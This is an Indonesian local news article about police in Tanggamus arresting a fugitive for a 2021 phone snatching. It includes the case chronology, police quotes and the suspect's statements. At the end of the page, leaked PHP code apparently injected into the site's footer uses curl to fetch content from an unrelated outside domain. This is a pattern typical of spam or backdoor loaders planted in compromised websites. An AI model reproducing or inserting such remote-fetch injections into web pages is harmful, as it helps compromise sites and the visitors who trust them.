Dibackup Tekab 308 Presisi, Polsek Talang Padang Tangkap DPO Curas Jambret di Gunung Alip

Selasa, 23 Mei 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Tanggamus – Jejakkasus.info

Tim gabungan Polsek Talang Padang Dibackup Tekab 308 Presisi Polres Tanggamus berhasil menangkap seorang DPO pelaku pencurian dengan kekerasan (Curas) jambret TKP Pekon Penanggungan Kecamatan Gunung Alip.

Tersangka yang ditangkap bernama Gusti Panji Agung alias Agung warga Pekon Sukadamai Kecamatan Gunung Alip Kabupaten Tanggamus. Agung menjadi DPO usai kabur setelah melakukan jambret pada 21 Juli 2021 lalu.

Atas penangkapan tersebut terungkap, usai diburu polisi, Agung ditemani pamannya kabur ke Kota Duri, Bengkalis, Riau, bahkan Agung ditangkap Polres setempat lantaran melakukan kasus pencurian disana.

Kapolsek Talang Padang Iptu Bambang Sugiono mengatakan, pihaknya berhasil menangkap DPO Curas Jambret dibackup Tekab 308 Presisi Polres Tanggamus, pada Sabtu 20 Mei 2023.

“Tersangka ditangkap sekitar pukul 14.00 WIB, setelah DPO tersebut diketahui pulang ke rumahnya di Pekon Sukadamai, Gunung Alip, Tanggamus,” kata Iptu Bambang Sugiono mewakili Kapolres Tanggamus AKBP Siswara Hadi Chandra, S.I.K., Selasa 23 Mei 2023.

Baca Juga:  Polsek Pulau Panggung dan Tim SAR Temukan Korban Tenggelam 

Kapolsek menjelaskan, kronologis kejadian pada Rabu, 21 Juli 2021 sekitar pukul 21.00 WIB di depan masjid Nurul Huda Pekon Penanggungan, Gunung Alip telah terjadi tindak pidana Pencurian dengan Kekerasan (Curas) barang berupa handphone Evercross type M.60 warna hitam milik korban Agung Hidayat (12).

Peristiwa tersebut terjadi berawal korban Agung Hidayat sedang bermain game bersama teman-temannya, lalu pelaku Agung dengan posisi membonceng rekannya bernama Perdiansyah menggunakan motor Honda Beat meghampiri korban Agung Hidayat.

Saat itu pelaku Perdiansyah langsung mengambil handphone korban secara paksa dengan menggunakan tangan kanannya, setelah berhasil, kemudian pelaku Agung langsung menghidupkan kendaraannya dengan segera untuk melarikan diri.

Bersamaan dengan itu warga yang mengetahui kejadian tersebut berhasil melakukan pengejaran dan mengamankan pelaku Perdiansyah berikut sepeda motor dan handphone korban. Namun pelaku Agung kabur dari lokasi.

“Untuk pelaku Perdiansyah telah ditangkap usai kejadian dan menjalani vonis. Sementara Gusti Panji Agung menjadi DPO hingga berhasil ditangkap Sabtu (20/5) kemarin,” jelasnya.

Baca Juga:  Puluhan Anggota Polres Tanggamus Naik Pangkat

Kapolsek mengungkapkan, selama dalam pencarian atau DPO bahwa tersangka Agung diketahui melarikan diri ke wilayah Kota Duri, Bengkalis, Riau bahkan di sana DPO Agung melakukan aksi serupa sehingga ditangkap dan vonis 1,2 tahun.

“Berdasarkan keterangan DPO Agung, bahwa di Riau dia juga melakukan pencurian dan setelah menjalani hukuman dia kembali ke Gunung Alip,” ungkapnya.

Ditambahkan Kapolsek, barang bukti yang diamankan berupa handphone merk Evercross M.60 warna hitam berikut nota pembelian, tas selempang warna biru dan sepeda motor merk honda beat warna hitam tanpa nopol berikut kunci kontak.

“Barang bukti tersebut sudah disita dalam perkara terdahulu atasnama Perdiansyah yang lebih dulu ditangkap,” tandasnya.

Saat ini, tersangka dan barang bukti ditahan di Mapolsek Talang Padang Polres Tanggamus guna proses penyidikan lebih lanjut.

Baca Juga:  Polres Tanggamus Gelar Pasukan Operasi Zebra Krakatau 2021

“Atas perbuatannya, tersangka dikenakan pasal 365 KUHPidana, ancaman maksimal 9 tahun penjara,” tandasnya.

Sementara itu, berdasarkan keterangan Agung, bahwa ia awalnya mengaku iseng melakukan penjambretan sebab tidak ada orang tua yang mengawasi anak-anak ketika bermain handphone di pinggir jalan.

“Iya saya jambret sama Ferdi, saya yang bawa motor. Pas dikejer massa waktu itu saya kabur,” kata Agung di Polsek Talang Padang.

Kemudian, ia juga membenarkan bahwa kabur ke Riau bersama pamannya dengan niat menghilangkan jejak, namun karena tidak punya uang sehingga ia kembali melakukan pencurian dan ditangkap polisi Riau.

Agung mengaku, dirinya pulang ke Gunung Alip lantaran kangen kepada sang bundanya sehingga selepas bebas di Riau kembali ke rumah untuk menemui ibunya.

“Saya pulang karena kangen orang tua, kangen ibu saya,” tandasnya. (Bambang)

Kota Agung, 23 Mei 2023
Kasi Humas Polres Tanggamus
Iptu M. Yusuf, S.H.
CP. 0813-7780-7622

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>